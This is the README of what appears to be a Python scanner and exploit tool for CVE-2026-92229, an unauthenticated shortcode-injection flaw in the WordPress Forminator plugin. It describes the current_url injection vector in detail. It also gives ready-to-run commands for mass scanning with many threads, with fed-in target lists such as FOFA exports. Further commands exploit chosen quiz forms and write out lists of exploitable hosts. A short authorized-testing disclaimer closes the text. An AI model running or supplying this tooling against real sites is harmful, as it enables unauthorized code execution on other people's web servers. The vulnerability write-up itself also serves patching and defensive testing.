
Scanner PoC et exploit en Python 3 pour CVE-2026-92229, une faille d'exécution arbitraire de shortcode non authentifiée dans les versions 1.57.2 et antérieures du plugin WordPress Forminator.
Scanner/exploit PoC en Python 3 pour CVE-2026-92229 dans Forminator (WPMU DEV).
| Plugin | forminator |
| Affecté | ≤ 1.57.2 |
| Corrigé dans | 1.57.3+ |
| CVSS | 9.1 (Critique) |
| Auth | Non authentifié |
| Vecteur | Paramètre POST current_url (AJAX quiz) |
| CWE | CWE-94 (Injection de code) |
| Crédit | Kuba (Wordfence) |
Dans les versions vulnérables, le paramètre current_url fourni par l'utilisateur est reflété dans le HTML des résultats du quiz (par exemple les attributs de partage social) et le tampon de réponse est traité par do_shortcode() de WordPress. Un attaquant non authentifié peut soumettre un quiz via admin-ajax.php avec un current_url malveillant intégrant des shortcodes arbitraires.
Actions AJAX principales :
forminator_submit_form_quizzesforminator_submit_preview_form_quizzes (aperçu ; --preview)Corrigé dans 1.57.3 en limitant l'exécution des shortcodes aux champs de texte prévus au lieu du tampon HTML complet.
pip install -r requirements.txtpip install -r requirements.txt
# Detect plugin, version, public Forminator modules (quiz answers when parseable)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (auto nonce + quiz answers when possible)
python poc.py -u https://target.example --mode exploit \
--page-url /quiz/ --form-id 42 \
--shortcode "PROBE"
# Preview submit (no stored entry, same code path)
python poc.py -u https://target.example --mode exploit --preview \
--page-url /quiz/ --form-id 42
# Manual quiz answers if HTML parsing fails
python poc.py -u https://target.example --mode exploit \
--form-id 42 --answers "2051:7608,2052:7610"
| Option | Description |
|---|---|
-u, --url | URL de base d'une cible unique |
--list | Fichier avec une URL par ligne |
--mode | check (par défaut) ou exploit |
--page-url | Chemin ou URL de la page contenant le formulaire |
--form-id | ID du module Forminator |
--form-type | quizzes, custom-forms, ou poll |
--answers | Réponses du quiz au format question_id:answer_id,... |
--shortcode | Charge utile de shortcode (encapsulée dans [caption]…[/caption] à l'intérieur de current_url) |
--preview | Utiliser l'action AJAX d'aperçu |
--threads, -j | Concurrence du scan de masse (par défaut 20) |
--output | Résultats JSONL (par défaut cve_2026_92229_results.jsonl) |
--vuln-list | Fichier texte pour les détections du mode check (par défaut hits.txt) |
--candidates-list | Métadonnées JSONL pour les vérifications exploitables (par défaut candidates.jsonl) |
--quiet | Moins de bruit de progression lors des exécutions de masse |
| Fichier | Contenu |
|---|---|
cve_2026_92229_results.jsonl | JSON par cible (status, version, modules, …) |
hits.txt | URL de base avec exploitable_candidate: true |
candidates.jsonl | Détails des détections : form_id, page_url, form_type |
status| Statut | Signification |
|---|---|
candidate | Version vulnérable + quiz avec réponses analysées |
form_no_quiz_answers | Formulaire trouvé mais réponses du quiz non analysées automatiquement |
plugin_no_public_form | Plugin présent, aucun module public découvert |
patched | Version ≥ 1.57.3 (ou version majeure plus récente) |
no_plugin | Forminator non détecté |
exploitable_candidate uniquement lorsque les answers[qid] du quiz peuvent être analysées depuis le HTML (de nombreux sites utilisent des quiz rendus en JS → utilisez --answers ou l'exploit manuel).[caption])..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Les listes locales de scan de masse (par exemple list.txt, exports FOFA, résultats *.jsonl) sont listées dans .gitignore et ne doivent pas être commitées.
Pour des tests de sécurité autorisés uniquement. Vous êtes responsable du respect des lois applicables et des règles du programme.